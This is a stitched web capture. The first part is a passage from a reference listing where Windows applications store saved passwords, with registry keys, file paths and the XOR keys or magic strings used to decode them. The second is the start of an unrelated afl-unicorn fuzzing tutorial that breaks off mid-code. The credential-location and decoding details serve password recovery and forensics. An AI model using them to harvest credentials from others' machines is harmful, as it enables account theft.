provides different mechanisms such as 'Generic', 'Domain Network', 'Domain
Visible Network' etc which applications can use to store and retrieve their
private credentials. Each such method requires different technique and
privilege level to enumerate and decrypt the passwords.  
  
  
Windows Live Messenger uses 'Generic Password' mechanism of 'Credential Store'
to store the passwords under the target name 'WindowsLive:name=<email\_id>'.
To know more about how to recover stored passwords by Live Messenger, read on
to this research article, **'Exposing the Password Secrets of MSN/Windows Live
Messenger'**  
  
You can use MSNLivePasswordDecryptor to instantly recover all such passwords
stored by Live Messenger.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**MSNLivePasswordDecryptor**, **MessengerPasswordDecryptor**,
**NetworkPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Xfire  
Xfire is a free tool that automatically keeps track of when and where gamers
are playing games online with more than million members. Xfire stores the user
settings including login username & password in a file "XfireUser.ini" at
following location,  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Application Data\Xfire  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\<username>\AppData\Roaming\Xfire\  
Xfire uses blowfish encryption algorithm for both username & password. Each
encrypted Username is stored with the label "EncryptedUser1" and password is
stored as "EPW1". However Xfire does not store the original password directly.
Instead it generates the SHA1 hash of username+password+"UltimateArena" and
then store the encrypted data of this SHA1 hash.  
You can use  XfirePasswordDecryptor to instantly recover the login passwords
from Xfire.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**XfirePasswordDecryptor** , **HashKracker**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Yahoo Messenger  
Yahoo Messenger prior to version 7 used to store the password in the registry
value 'EOptions String' at following registry location,  
HKEY\_CURRENT\_USER\Software\Yahoo\Pager  
This password is encrypted and then encoded using  **Yahoo64** \(similar to
Base64\) algorithm and stored at above location. The actual algorithm and
encoding functionality is present in ycrwin32.dll \(can be found in installed
location of Yahoo Messenger\).  
  
For version 7 onwards, Yahoo stores the encrypted token derived from username
& password in registry value 'ETS' at same registry location. Though you
cannot decrypt this token back to the password but you can copy it to another
machine and continue to login to Yahoo Messenger.  
  
For more interesting details on this password token & authentication mechanism
refer to**this research paper**.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**YahooPasswordDecryptor**  
Email Client Applications  
|  <img src='img/Temp2_6152.jpg' width='24' height='24' /> Foxmail  
---  
Foxmail \[version 6.5\] stores all the configured mail account password
information at following location,  
\[Windows - 32 bit\]  
C:\Program Files\Foxmail\mail\<account\_emailaddress>\Account.stg  
  
\[Windows - 64 bit\]  
C:\Program Files \(x86\)\Foxmail\mail\<account\_emailaddress>\Account.stg  
This "Account.stg" file appears to be in binary format as first 0x800 bytes
are filled with some hex data then follows the actual account information
including POP3 and SMTP account passwords.POP3 & SMTP account passwords are
stored by the name 'POP3Password' & 'ESMTPPassword' respectively. The
passwords are stored in hex format and XOR encoded using the magic string
"~draGon~".  
**Foxmail v7.0** or higher uses new magic string **" ~F@7%m$~"** with the same
algorithm. It also stores the account passwords using different format at new
location

[code]

    [Windows - 32 bit & 64 bit]
    C:\Program Files\Foxmail 7.0\Data\AccCfg\Accounts.tdat
    
[/code]  
You can use **FoxmailPasswordDecryptor** tool to recover all mail account
passwords stored by Foxmail.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**GooglePasswordDecryptor**, **MailPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Gmail Notifier  
Gmail Notifier uses different mechanism to store the Google account password
based on IE versions. For IE version 7 onwards, Gmail Notifier stores the
password in the 'Windows Credential Store'. This password can be decrypted
using CredEnumerate API function. For complete code sample to enumerate and
decrypt Google account password from Credential store, read on to this
article, 'Exposing Google Password Secrets'.  
  
You can use GooglePasswordDecryptor or NetworkPasswordDecryptor tool to
instantly recover all Google account password stored by Gmail Notifier.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**GooglePasswordDecryptor**, **MailPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> IncrediMail  
IncrediMail stores all the configured mail account password information at
following registry location,  
HKEY\_CURRENT\_USER\Software\IncrediMail\Identities\\\{GUID\_1\}\Accounts\\\{GUID\_2\}  
Main account details such as Email address, POP3 password, SMTP password are
stored in registry values 'EmailAddress', 'PopPassword' & 'SmtpPassword'
respectively. Passwords are encoded using magic byte pattern "0x89, 0x32,
0xCA, 0x31"  
  
You can use**IncrediMailPasswordDecryptor** tool to automatically recover all
mail account passwords stored by IncrediMail.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**IncrediMailPasswordDecryptor**, **MailPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Microsoft Outlook  
Latest version of Microsoft **Outlook 2013** \(version 15.0\) stores the
account configuration along with encrypted password at following location  
HKEY\_CURRENT\_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook  
Outlook versions starting from 2002 to latest version 2010, store the
passwords \(other than exchange server\) for various email account such as
POP3, IMAP, SMTP, HTTP at following registry location.  
\[Windows NT onwards\]  
HKEY\_CURRENT\_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows
Messaging Subsystem\Profiles  
  
\[Prior to Windows NT\]  
HKEY\_CURRENT\_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles  
Newer versions of Outlook from 2002-2010 stores the Exchange server passwords
in 'Credential Store' as it provides better protection over other methods. You
can use OutlookPasswordDecryptor or NetworkPasswordDecryptor to recover such
passwords.  
  
Older versions of Outlook \(Outlook Express, 98, 2000 etc\) stores the Email
configuration information along with encrypted password at following registry
location,  
\[For Outlook installed in Internet Mail Only Mode Configuration\]  
HKEY\_CURRENT\_USER\Software\Microsoft\Office\Outlook\OMI Account
Manager\Accounts  
  
\[For Outlook in normal mode\]  
HKCU\Software\Microsoft\Internet Account Manager\Accounts  
For detailed information on how each verion of Outlook stores the passwords
for different type of email accounts and how to recover them, read the
following research article, 'Exposing the Secret of Decrypting Outlook
Passwords'  
  
You can use OutlookPasswordDecryptor to decrypt passwords for all versions of
Outlook from 98 to 2013.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**Outlook Password Decryptor**, **Mail Password Decryptor**, **Mail Password
Sniffer**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> ThunderBird  
**ThunderBird** stores all remembered email settings along with password into
the SQLite database file 'signons.sqlite' in its profile location. The default
profile location for different platforms is as follows,  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Application
Data\Thunderbird\Profiles\<random\_name>.default  
  
\[Windows Vista & Windows 7\]  
C:\Users\<user\_name>\AppData\Roaming\Thunderbird\Profiles\<random\_name>.default  
You can use  ThunderbirdPassDecryptor to recover all stored mail account
passwords by Thunderbird.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**ThunderbirdPassDecryptor**, **MailPasswordDecryptor,****Mail Password
Sniffer**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Windows Live Mail  
Windows Live Mail \(part of Windows Essentials\) stores all the account
information including passwords at following location.  
\[Windows 7/Windows 8\]  
C:\Users\<user\_name>\AppData\Local\Microsoft\Windows Live Mail\  
Each account is stored in a **.oeaccount file** in separate folder within the
above profile location. The file is stored in XML format and passwords are
found within the tags such as HTTPMail\_Password2, POP3\_Password2,
IMAP\_Password2, SMTP\_Password2 etc. Password is encrypted with a salt using
**Windows Cryptography** functions. You can use  Live Mail Password Decryptor
to recover all stored mail account passwords by Thunderbird.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:  **Live
Mail Password Decryptor**, **Mail Password Decryptor,****Mail Password
Sniffer**  
FTP Client Applications  
|  <img src='img/Temp2_6152.jpg' width='24' height='24' /> Dreamweaver  
---  
Dreamweaver - popular web site editing software - stores FTP & WebDav login &
password information in the registry at following location.  
HKEY\_CURRENT\_USER\Software\Adobe\Common\10\Sites\\-SiteX\Keychain  
For Dreamweaver CS5 edition, replace 10 with 11 in above location. Each FTP
site entry is stored in separate key "-SiteX" \(as shown above\) where X
starts with 1 and incremented for every new FTP site. Each such Keychain entry
contains user and encrypted password stored within the registry values named
"User" & "User PW" respectively.  
  
Dreamweaver uses the standard  Windows Cryptography Functions
\(CryptProtectData\) to encrypt the password before saving it to registry.  
  
You can use  **DreamweaverPasswordDecryptor** to recover all the FTP passwords
stored by Dreamweaver.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**FTPPasswordDecryptor**, **FTPPasswordSniffer**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> FileZilla  
FileZilla stores all account information along with username & password in the
"recentservers.xml" file at following location,  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Application Data\FileZilla  
  
\[Windows Vista & Windows 7\]  
C:\Users\<username>\AppData\Roaming\FileZilla  
This xml file contains entry for each ftp server account with tag <server>.
For each server entry, there is <user> & <pass> tags which contains user name
& password in plain text for corresponding FTP server.  
  
You can use **FilezillaPasswordDecryptor** tool to recover all FTP server
passwords stored by FileZilla.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**FTPPasswordDecryptor**, **FTPPasswordSniffer**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> FlashFXP  
FlashFXP - one of the emerging FTP clients - stores FTP login & password
information in 'Sites.dat' file at below location,  
\[Windows XP\]  
C:\Documents and Settings\All Users\Application Data\FlashFXP\4\Sites.dat  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\ProgramData\FlashFXP\4\Sites.dat  
The above location applies to FlashFXP v4 or higher. For version 3 replace 4
with 3 in the above location. FlashFXP uses simple encoding algorithm with
magic string as "yA36zA48dEhfrvghGRg57h5UlDv3" to encrypt the password.  
  
You can use **FlashfxpPasswordDecryptor** to recover all the FTP passwords
stored by FlashFXP.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**FTPPasswordDecryptor**, **FTPPasswordSniffer**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> FTPCommander  
FTPCommander one of the popular FTP clients which comes in FREE, Pro & Deluxe
editions.  
  
FTPCommander FREE edition stores the FTP site information in a file
"Ftplist.txt" at its installed location  
\[Windows - 32 bit\]  
C:\Program Files\FTP Commander  
  
\[Windows - 64 bit\]  
C:\Program Files \(x86\)\FTP Commander  
FTPCommander PRO edition stores the FTP site information in a file
"Ftplist.txt" at following location  
\[Windows - all platforms\]  
C:\CFtp\  
FTPCommander Deluxe edition stores the FTP site information in a file
"Ftplist.txt" at its installed location  
\[Windows - 32 bit\]  
C:\Program Files\FTP Commander Deluxe  
  
\[Windows - 64 bit\]  
C:\Program Files \(x86\)\FTP Commander Deluxe  
All editions for FTPCommander \(as of latest version v9.2\) stores the
password along with server & username after performing XOR encoding of the
password with magic number 0x19 \(25\).  
  
You can use  **FTPCommanderPasswordDecryptor** to recover FTP passwords stored
by all editions of FTPCommander.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**FTPPasswordDecryptor**, **FTPPasswordSniffer**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> SmartFTP  
SmartFTP - one of the popular commercial FTP client \- stores all the
configured FTP account & password information at following location  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Application Data\SmartFTP\Client
2.0\Favorites\Quick Connect  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\<username>\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick
Connect  
SmartFTP \(as of latest version v4.0\) stores each FTP site information
\(host, username & password\) in separate XML file in the above location.
Password is encrypted using the  'Windows Cryptography Functions'
\(CryptEncrypt\). It uses the RC4 encryption algorithm with the key derived
from MD5 hash of magic string "SmartFTP".  
  
You can use **SmartFtpPasswordDecryptor** to recover all the FTP passwords
stored by SmartFTP.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**FTPPasswordDecryptor**, **FTPPasswordSniffer**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> WS\_FTP  
**WS\_FTP** \- one of the popular FTP client - stores all the configured FTP
account & password information in the file **" ws\_ftp.ini"** at following
location  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Application
Data\Ipswitch\WS\_FTP\Sites\  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\<username>\AppData\Roaming\Ipswitch\WS\_FTP\Sites\  
Username and password for each of the stored FTP site is present after fields
"uid=" and "pwd=" respectively. Password is encrypted using **Triple DES**
algorithm with magic key and then stored in the **Base64** format.  
  
For more interesting details read our research article -  **Exposing the
Password Secrets of WS\_FTP**.  
  
You can use our **WS\_FTPPasswordDecryptor** to recover all the FTP passwords
stored by WS\_FTP.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**FTPPasswordDecryptor**, **FTPPasswordSniffer**  
Miscellaneous Applications  
|  <img src='img/Temp2_6152.jpg' width='24' height='24' /> Google Desktop
Search  
---  
'Google Desktop Search' stores the Google account information in the registry
when it is configured to search your Gmail account. Here is the registry
location,  
HKEY\_CURRENT\_USER\Software\Google\Google Desktop\Mailboxes\Gmail  
The above registry key contains the 2 main registry values, 'POP3\_name' &
'POP3\_credentials' holding the Google account name & encrypted password
respectively. For more details on how to decrypt this password, read on to
following research article, 'Exposing Google Password Secrets'.  
  
You can use GooglePasswordDecryptor tool to instantly recover any such
password stored by Google Desktop Search.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**GooglePasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Heroes of Newerth  
**Heroes of Newerth** \(HoN\) is popular game based on Warcraft III DoTA. It
stored the user's login information in the file **" login.cfg" **at below
location based on platform,  
\[Windows\]  
C:\Users\User\Documents\Heroes of Newerth\game\  
  
\[Linux\]  
/home/user/.Heroes of Newerth/game/  
  
\[Mac\]  
/Users/User/Library/Application Support/Heroes of Newerth/game/  
This "login.cfg" file contains the username and password after the fields
'login\_name' & 'login\_password' respectively. Password field is nothing but
**md5 hash** of the original password, which can be cracked using online MD5
hash crackers or offline tools.  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Internet Download
Manager \(IDM\)  
stores all the premium account passwords for download sites at following
registry location,  
HKEY\_CURRENT\_USER\Software\DownloadManager\Passwords  
There is registry key representing each download site below this location.
Each such entry has 2 registry values "User" & "EncPassword". User name is the
hex representation of ascii character, however password is XOR encoded with
0xf.  
  
You can use our IDMPasswordDecryptor to automatically recover all stored
passwords by IDM.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**IDMPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> JDownloader  
JDownloader \[less than version 2.0\] stores all the premium account passwords
in the HSQL database file at following location,  
\[32 bit - x86 System\]  
C:\Program Files\JDownloader\Config  
  
\[64 bit - x64 System\]  
C:\Program Files \(x86\)\JDownloader\Config  
HSQLDB stores the database contents in terms of plain SQL statements. You can
find all JDownloader configuration along with premium passwords in
"database.script" file. There is no encryption as such but data itself is
stored in serialized object format. For **version 2 beta** onwards,
JDownloader stores the account passwords at new location.

[code]

    [Windows XP]
    C:\Documents and Settings\Local Settings\Application Data\JDownloader 2.0\Cfg
    
    [Windows Vista/Windows 7/Windows 8]
    C:\Users\AppData\Local\JDownloader 2.0\Cfg
[/code]  
Note that install location also has been changed to %appdata% from %program
files% as in previous versions. New version v2.0 Beta stores the accounts
details in JSON format and then encrypts the contents before storing it into
file **'org.jdownloader.settings.AccountSettings.accounts.ejs'**  
You can use our **JDownloaderPasswordDecryptor** tool to instantly recover
passwords from all versions of JDownloader.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**JDownloaderPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Orbit Downloader  
'Orbit Downloader' stores all the premium account passwords for download sites
at following file,  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Application Data\Orbit\sitelogin.dat  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\<user\_name>\AppData\Roaming\Orbit\sitelogin.dat  
The "sitelogin.dat" file contains website, username & password information for
each of the premium download site. Passwords are encrypted using IDEA
algorithm.  
  
You can use our **OrbitPasswordDecryptor** to automatically recover all stored
passwords by Orbit Downloader.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**OrbitPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Picasa  
Picasa stores Google account password information at one of the following
registry location.  
HKEY\_CURRENT\_USER\Software\Google\Picasa\Picasa2\Preferences  
HKEY\_CURRENT\_USER\Software\Google\Picasa\Picasa3\Preferences  
Some of the early releases of Picasa 3 version used second location, but later
switched back to previous location itself. The registry value 'gaiaEmail'
contains the Google account id and 'gaiaPass' contains the encrypted password.
Picasa versions 2 and 3 uses different encryption mechanisms to store the
password. For complete information on how to decrypt stored passwords by
different versions of Picasa, read on to article 'Exposing Google Password
Secrets'.  
  
GooglePasswordDecryptor can automatically recover the password for different
versions of Picasa.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**GooglePasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Remote Desktop  
Remote Desktop stores the saved credentials at 'Credential Store' using the
target name as 'LegacyGeneric:target=TERMSRV/<Host\_IP\_address>'. As many
applications use 'Credential Store' to save their passwords, this target name
can be used to uniquely identify 'Remote Desktop' stored passwords.  
  
For more information on how 'Credential Store' works and how to recover the
password, read on to this research article 'Exposing the Secret of Decrypting
Network Passwords'  
  
You can use 'NetworkPasswordDecryptor' to recover the passwords stored by
Remote Desktop.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**NetworkPasswordDecryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> Seesmic  
Seesmic is a popular desktop client for Twitter. It stores account settings in
the file named **'data.db'** at following location  
C:\Users\\\Documents\Seesmic\Seesmic Desktop 2\Data\  
This file 'data.db is in **SQLite** database format. It has many tables, out
of which 'Accounts & 'Settings' tables are interesting ones.  
  
'Settings' table contains following important keys 'SeesmicUsername' &
'SeesmicEmail' which refers to login id for Seesmic itself.  
  
**'Accounts'** table contains all the Twitter accounts configured by the user.
Each account is identified with unique id and **'AccountData'** field contains
complete account details in the XML format. Below is the sample  
<?xml version="1.0" encoding="utf-16"?>  
<TwitterAccount xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">  
<Id>e44943f8-f5a2-4025-92b6-1cc3d9d344a3</Id>  
<Username>SecurityXploded</Username>  
<UserId>1234567890</UserId>  
<Token>1234567890-abcDEG9P6huGMxgNCBPTFkmF7DhEBAv4vFCSlvAb</Token>  
<TokenSecret>ABuCDIEmsUoFFGUCj6MmmACXey0UWcDXKZwaZYhXZc</TokenSecret>  
<DirectsLimit>30</DirectsLimit>  
<FriendsLimit>30</FriendsLimit>  
<RepliesLimit>30</RepliesLimit>  
<TweetlistsLimit>10</TweetlistsLimit>  
<APIusageLimit>80</APIusageLimit>  
<ExcludeFromTimelines>false</ExcludeFromTimelines>  
<IsAuthenticated>true</IsAuthenticated>  
<AggregateAccountUpdates>true</AggregateAccountUpdates>  
<ServerAccountId>46e9fb7f-1234-411f-1234-9f35885997d4</ServerAccountId>  
<UsesSeesmicConsumerKey>true</UsesSeesmicConsumerKey>  
<TimelineCacheLimit>200</TimelineCacheLimit>  
<FriendsCacheLimit>200</FriendsCacheLimit>  
<SearchCacheLimit>200</SearchCacheLimit>  
</TwitterAccount>  
Note that when you add Twitter account to Seesmic, you are required to login
to Twitter and grant permission to Seesmic. Whenever you do this, Twitter
generates various authentication ids such as consumerKey, consumerSecret,
oAuthToken & oAuthSecret. Seesmic can then use OAuth Mechanism with these
secret ids to access your Twitter Account. Seesmic stores these Secret ids
along with other details for each account in the above XML file. Here <Token>
field refers to **" oAuthToken"** and <TokenSecret> refers to **"
oAuthSecret"**. It appears that consumerKey, consumerSecret may have been
stored on the server which is refered by field <ServerAccountId>.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**Twitter Password Decryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> SuperPutty  
SuperPutty is a Windows GUI Application that allows PuTTY SSH Client to be
opened in Tabs. It stores the session login password details in the file named
**'sessions.xml'** at following location  
\[Windows XP\]  
C:\Documents and Settings\\\[user name\]\My Documents\SuperPuTTY\  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\\\[user\_name\]\Documents\SuperPuTTY\  
Each stored session starts with a tag <SessionData and contains information
about Host, Port, Username, Password. Password is usually stored in Extra
arguments after -pw option.  
  
You can use our **SuperPutty Password Decryptor** to automatically recover all
the stored session passwords.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**SuperPutty Password Decryptor**  
<img src='img/Temp2_6152.jpg' width='24' height='24' /> TweetDeck  
TweetDeck is the one of the popular Twitter client which also support other
social networking sites such as Facebook, LinkedIn, MySpace, Buzz etc. It is
developed using Adobe Air framework and hence it uses 'Encrypted Local
Storage' \(ELS\) mechanism provided by Adobe Air to store all the account
credentials. The encrypted password files are stored at following location
based on the platform,  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Application
Data\Adobe\AIR\ELS\TweetDeckFast.FFF259DC0CE2657847BBB4AFF0E62062EFC56543.1  
  
\[Windows Vista/Windows 7/Windows 8\]  
C:\Users\<user\_name>\AppData\Roaming\Adobe\AIR\ELS\TweetDeckFast.FFF259DC0CE2657847BBB4AFF0E62062EFC56543.1  
On Windows, Adobe AIR uses DPAPI functions to encrypt the credentials using
the 128 bit AES-CBC algorithm. Here is the typical sequence which is generally
used to store the secret data.  
var strToEncrypt:String = "passw0rd";  
  
var myByteArray:ByteArray = new ByteArray\(\);  
  
myByteArray.writeUTFBytes\(strToEncrypt\);  
  
EncryptedLocalStore.setItem\("securityxploded", myByteArray\);  
Latest version \(checked with v2.1\) of TweetDeck no longer uses Adobe AIR. It
stores account settings in the file named 'qrc\_\_0.localstorage' at following
location  
\[Windows XP\]  
C:\Documents and Settings\<user\_name>\Local Settings\Application
Data\twitter\TweetDeck\localStorage\  
  
\[Windows Vista & higher\]  
C:\Users\<user\_name>\Appdata\Local\twitter\TweetDeck\localStorage\  
This file is in SQLite database format. It has one table 'itemTable'
containing key & value fields which stores various user settings. Login email
is stored in key value **'tweetdeck\_account'** and encrypted password is
stored under the key value 'hoard'. This field contains login email id and
base64 encoded text of actual encrypted password.  
More reversing is required to further analyze the encrypted password. If you
find any interesting details, do share.  
<img src='img/Temp2_6154.jpg' width='24' height='24' /> Related Tools:
**Twitter Password Decryptor**  
See Also

# afl-unicorn: Fuzzing Arbitrary Binary Code – Hacker Noon

**Created:**| _11/23/2017 9:32:24 AM_  
---|---  
**Updated:**| _11/23/2017 9:32:24 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# afl-unicorn: Fuzzing Arbitrary Binary Code

American Fuzzy Lop \(AFL\) is awesome. It’s easily the best thing out there
for quickly doing cutting-edge fuzzing analysis on command line applications.
But what about the situations where accessing the stuff you want to fuzz via
command line isn’t so simple? Lots of times you can write a test harness \(or
maybe use libFuzzer instead\), but what if you could just emulate the parts of
the code that you want to fuzz and still get all the coverage-based advantages
of AFL? For example, maybe you want to fuzz a parsing function from an
embedded system that receives input via RF and isn’t easily debugged. Maybe
the code you’re interested in is buried deep within a complex, slow program
that you can’t easily fuzz through any traditional tools.

I’ve created a new ‘Unicorn Mode’ for AFL to let you do just that. If you can
emulate the code you’re interested in using the Unicorn Engine, you can fuzz
it with afl-unicorn. All of the source code \(and a bunch of additional
documentation\) is available at the afl-unicorn GitHub page.

### How To Get It

Clone or download the afl-unicorn git repo from GitHub to a Linux system
\(I’ve only tested it on Ubuntu 16.04 LTS\). After that, build and install AFL
as usual, then go into the ‘unicorn\_mode’ folder and run the
‘build\_unicorn\_support.sh’ script as root.

[code]

    cd /path/to/afl-unicorn  
    make  
    sudo make install  
    cd unicorn_mode  
    sudo ./build_unicorn_support.sh
[/code]

### How It Works

Unicorn Mode works by implementing the block-edge instrumentation that AFL’s
QEMU Mode normally does into Unicorn Engine. Basically, AFL will use block
coverage information from any emulated code snippet to drive its input
generation. The whole idea revolves around proper construction of a Unicorn-
based test harness, as shown in the figure below:

<img src='img/1*Fk1INIYI8_d0L4NILOqYXw.png' width='700' height='263' />

The only addition to normal AFL use is the Unicorn-based test harness

The Unicorn-based test harness loads the target code, sets up the initial
state, and loads in data mutated by AFL from disk. The test harness then
emulates the target binary code, and if it detects that a crash or error
occurred it throws a signal. AFL will do all its normal stuff, but it’s
actually fuzzing the emulated target binary code\!

Unicorn Mode should work as expected with Unicorn scripts or applications
written in any of the standard Unicorn bindings \(C/Python/Go/Whatever\), as
long as the at the end of the day the test harness uses libunicorn.so compiled
from the patched Unicorn Engine source code that is created by afl-unicorn. So
far I’ve only tested this with Python, so please provide feedback and/or
patches to the repo if you test this out.

Be aware that building afl-unicorn will compile and install a patched version
of Unicorn Engine v1.0.1 on your local system. You’ll have to uninstall any
existing Unicorn binaries prior to building afl-unicorn. As with off-the-shelf
AFL, afl-unicorn only supports Linux. I’ve only tested it on Ubuntu 16.04 LTS,
but it should work smoothly with any OS capable of running both AFL and
Unicorn.

  * •** _Note_** : At least 1 instruction must be emulated before loading the fuzzed input data. This is an artifact of how AFL’s fork server is started in QEMU mode. It could probably be fixed with some more work, but for now just emulate at least 1 instruction as shown in the example and don’t worry about it. The example below demonstrates how to easily workaround this limitation.

### Example Use

** _Note: This is the same as the ‘simple example’ included in the repo.
Please play with it on your own system to see it in action. The repo contains
a pre-built MIPS binary of main\(\), which is demonstrated here._**

First, let’s look at the code that we will fuzz. This is just a contrived toy
example that will crash really easily in a few different ways, but I’ve
extended this to real-world use cases and it works exactly as expected.

1 | /\*  
---|---  
2 |  \* Sample target file to test afl-unicorn fuzzing capabilities.  
3 |  \* This is a very trivial example that will crash pretty easily  
4 |  \* in several different exciting ways.   
5 |  \*  
6 |  \* Input is assumed to come from a buffer located at DATA\_ADDRESS   
7 |  \* \(0x00300000\), so make sure that your Unicorn emulation of this   
8 |  \* puts user data there.  
9 |  \*  
10 |  \* Written by Nathan Voss <njvoss99@gmail.com>  
11 |  \*/  
12 |   
13 | // Magic address where mutated data will be placed  
14 | \#define DATA\_ADDRESS 0x00300000  
15 |   
16 | int main\(void\)  
17 | \{  
18 |  unsigned char\* data\_buf = \(unsigned char\*\)DATA\_ADDRESS;   
19 |   
20 |  if\(data\_buf\[20\] \!= 0\)  
21 |  \{  
22 |  // Cause an 'invalid read' crash if data\[0..3\] == '\x01\x02\x03\x04'  
23 |  unsigned char invalid\_read = \*\(unsigned char\*\)0x00000000;   
24 |  \}  
25 |  else if\(data\_buf\[0\] > 0x10 && data\_buf\[0\] < 0x20 && data\_buf\[1\] > data\_buf\[2\]\)  
26 |  \{  
27 |  // Cause an 'invalid read' crash if \(0x10 < data\[0\] < 0x20\) and data\[1\] > data\[2\]  
28 |  unsigned char invalid\_read = \*\(unsigned char\*\)0x00000000;  
29 |  \}  
30 |  else if\(data\_buf\[9\] == 0x00 && data\_buf\[10\] \!= 0x00 && data\_buf\[11\] == 0x00\)  
31 |  \{  
32 |  // Cause a crash if data\[10\] is not zero, but \[9\] and \[11\] are zero  
33 |  unsigned char invalid\_read = \*\(unsigned char\*\)0x00000000;  
34 |  \}  
35 |   
36 |  return 0;  
37 | \}  
view raw simple\_target.c hosted with ❤ by GitHub

Contrived crashing example code used to test basic afl-unicorn functionality

Notice that this code by itself it totally bogus. It assumes that data for
‘data\_buf’ will magically be located at the address 0x00300000. While this
seems strange, this is analogous to lots of parsing functions which assume
that they will find data at buffer at a fixed address.

In real-world situations you will need to reverse engineer your target binary
to find and identify the exact functionality that you want to emulate and
fuzz. In upcoming blog posts I will present some tools to make extraction and
loading of process states simple, but for now you will need to do the leg work
of getting all the required components up and running in Unicorn.

Your test harness must take the input to mutate via a file specified on the
command line. This is the glue that allows AFL to mutate input via its normal
interface. The test harness must also forcibly crash itself if it detects a
crashing condition during emulation, such as if emu\_start\(\) throws an
exception. Below is an example test harness which does both of these:

1 | """  
---|---  
2 |  Simple test harness for AFL's Unicorn Mode.  
3 |   
4 |  This loads the simple\_target.bin binary \(precompiled as MIPS code\) into  
5 |  Unicorn's memory map for emulation, places the specified input into  
6 |  simple\_target's buffer \(hardcoded to be at 0x300000\), and executes 'main\(\)'.  
7 |  If any crashes occur during emulation, this script throws a matching signal  
8 |  to tell AFL that a crash occurred.  
9 |   
10 |  Run under AFL as follows:  
11 |   
12 |  $ cd <afl\_path>/unicorn\_mode/samples/simple/  
13 |  $ ../../../afl-fuzz -U -m none -i ./sample\_inputs -o ./output -- python simple\_test\_harness.py @@   
14 | """  
15 |   
16 | import argparse  
17 | import os  
18 | import signal  
19 |   
20 | from unicorn import \*  
21 | from unicorn.mips\_const import \*  
22 |   
23 | \# Path to the file containing the binary to emulate  
24 | BINARY\_FILE = os.path.join\(os.path.dirname\(os.path.abspath\(\_\_file\_\_\)\), 'simple\_target.bin'\)  
25 |   
26 | \# Memory map for the code to be tested  
27 | CODE\_ADDRESS = 0x00100000 \# Arbitrary address where code to test will be loaded  
28 | CODE\_SIZE\_MAX = 0x00010000 \# Max size for the code \(64kb\)  
29 | STACK\_ADDRESS = 0x00200000 \# Address of the stack \(arbitrarily chosen\)  
30 | STACK\_SIZE = 0x00010000 \# Size of the stack \(arbitrarily chosen\)  
31 | DATA\_ADDRESS = 0x00300000 \# Address where mutated data will be placed  
32 | DATA\_SIZE\_MAX = 0x00010000 \# Maximum allowable size of mutated data  
33 |   
34 | try:  
